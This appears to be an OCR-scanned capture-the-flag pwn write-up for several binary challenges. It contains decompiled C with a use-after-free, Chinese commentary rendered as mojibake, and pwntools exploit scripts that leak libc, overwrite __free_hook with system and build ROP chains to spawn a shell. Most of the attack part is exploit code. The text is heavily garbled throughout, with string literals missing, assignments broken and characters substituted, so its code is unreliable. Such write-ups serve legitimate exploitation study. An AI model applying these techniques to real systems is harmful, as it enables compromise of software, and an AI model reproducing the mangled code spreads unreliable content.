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char *_fastcall safe_read(char *ptr, int size)

{
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char *result;

read(@, ptr, OxFOuLL);
result ptr[size];
result 0;

return result;
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from pwn import
context(log_level

terminal=[ 5

p = process(
libc = ELF(

def menu(ch):
p.sendlineafter(
def new():

menu (1)
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menu(2)

p.sendlineafter( 5 (index))
def edit(index,size,content):
menu(3)

p.sendlineafter( 5 (index))
p.sendlineafter( 5 (size))

p.sendafter( ,content)

def free(index):
menu(4)
p.sendlineafter( 5 (index))

(10):

(8,1,-1):

main_arena ub4(p.recv(6).ljust(8,
libc_base main_arena 0x3ebe90
(libc_base))

free(i)

free(7)

edit(8,0xf8,




for i in

free(i)

free_hook libc_base+libc.sym[
edit(0,0xf8,p64(free_hook))

libc_base+libc.sym[
edit(2,0xf8,p64(system))

new()
edit(3,0xf8,
free(3)

p.interactive()

blend

&R H R AR H 22017 DCTF flex

HAH I

HMETIRE, HHRERSEY 24, BREBCEALED TR EL. B —ANRBESRET, HREEERFER c++ KRF L
. DA RICHJED C EAE try catch TR RE LW, FEEILH.

https://www.runoob.com/cplusplus/cpp-exceptions-handling.html

unsigned __ int64 sub_1184()
{
_QWORD *v@; // rax
char v2; // [rsp+10h] [rbp-20h]
unsigned _ int64 v3; // [rsp+28h] [rbp-8h]

= _ readfsqword(0x28u);
printf("Please input what you want:");
if ( (signed int)sub_E22(&v2, 4@LL) > 16 )
{
vO = (_QWORD *) cxa_allocate exception(8LL, 40LL);//&HiEox90HEF L 215 B vo
*v@ = "You are too young!";
_cxa_throw(ve, & typeinfo for'char const*, OLL);//AR/E KX EHEHE— KRR
¥

return _ readfsqword(@x28u) ~ v3;
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int sub_116C()

{
return printf(byte 2020890);

FETBOfEBRET UAF -

int64 sub_1025()

int v1; // [rsp+Ch] [rbp-4h]

printf("index>");

vl = sub _EA2();

if (vi<e || vli>1)

{
puts("Insufficient space");
exit(9);

)

if ( gqword_202090[v1] )

{
free((void *)qword_202090[Vv1]);//UAF
puts("down!");

}
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unsigned _ int64 sub_1184()
{
_QWORD *v@; // rax
char v2; // [rsp+10h] [rbp-20h]
unsigned __ int64 v3; // [rsp+28h] [rbp-8h]

= _ readfsqword(©x28u);
printf("Please input what you want:");
if ( (signed int)sub_E22(&v2, 40LL) > 16 )//
{
vO = (_QWORD *) cxa_allocate_exception(8LL, 40LL);
*v@ = "You are too young!";
_cxa_throw(ve, & typeinfo for'char const*, OLL);

}

return _ readfsqword(@x28u) * v3;
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ROP I % FH i) 2 libc i) gadget , #2FF T PIE :

ret libc_base 0Xx0000000000000937
pop_rdi_ret libc_base 0x0000000000021112
libc_base libc.sym[ ]
(system))
libc_base libc.search( ). @)
p64(ret)+p64(pop_rdi_ret)+p64(str_binsh)+p64(system)

ub4(p.recv(6).ljust(8,

I RF T LEYLS, BEAMAE —FHERNESR. Akl cxa_allocate_exception BE—ANRENR, SHE—A
0x90 #, #EHANET] cxa_throw BE, ZEEMM Unwind RaiseException() ¥IEHIBEB BN N (Bk¥) catch RS, AT
SEREMEFEMESPAT leave;ret , **BhiE 2 catch B KRR FFBREE BT I rbp **.

R BT rop » REABETEREIAT leave;ret MHRENFFRIMEF

gdb ¥35IRE] Unwind_RaiseException() S BEEBE, H2E R catch $ATIHEN

hint( 0x20+p64 (heap_addr+0x20)[0:7])

ROP #Z1 0x18 HEH M/ ZFEA Unwind_RaiseException() PUTSREEFMSKIAL T —H#, HHlH K ROP FriE#
HIEMMAT, hHRER T HE, FUERMaE, RN HEASNREER.

EXP



from pwn import
context(log level
terminal=[

p process(
libc = ELF(
elf = ELF(

def show_name():
p.recvuntil( )

p.sendline( )

def add(content):
.recvuntil( )
.sendline( )
.recvuntil( )
.sendline(content)
def free(id):
.recvuntil(
.sendline(
.recvuntil(
.sendline(
def show():
p.recvuntil( )
p.sendline( )
def hint(content):
.recvuntil( )
.sendline( )
.recvuntil( )
.sendline(content)

)
(p.recv(14),16)-1libc.sym[
(libc_base))

ret libc_base 0x0000000000000937
pop_rdi_ret libc_base 0x0000000000021112
libc_base libc.sym[ ]
(system))
str_binsh = libc_base + libc.search( ). @)
payload = p64(ret)+p64(pop_rdi_ret)+p64(str_binsh)+p64(system)

add ( )

add ( 0x18+payload)
free(1)

free(0)

show()

p.recvuntil( )
heap_addr = u64(p.recv(6).ljust(8, ))
log.info( (heap_addr))

hint( 0x20+p64 (heap_addr+0x20)[0:7])

p.interactive()




pwn_printf
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ssize t _ fastcall sub 4007C6(unsigned _ intl6 v12

char buf[8
return read(@, buf, 2 v12
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P —A> gadget add eax, 0x20290e ; add ebx, esi ; ret &l eax KIMH, ABMANKE.
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from pwn import
context(log level
terminal=[ )
p process(

libc = ELF(

p.sendline(

pop_rdi_ret 0Xx0000000000401213

rop_addr 0x040117f

add_eax_0x20290e_ret 0Xx0000000000400794
0x8+p64(pop_rdi_ret)+p64(elf.got[

puts_addr = u64(p.recv(6).ljust(8,
(puts_addr))
puts_addr-1libc.sym[ ]

log.info(
libc_base

payload 8+p64(libc_base+0x4527a)

p.send(payload)
p.interactive()
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1)+p64(elf.plt[

1)+p64(add_eax_ 0x20290e ret)+p64(rop_a
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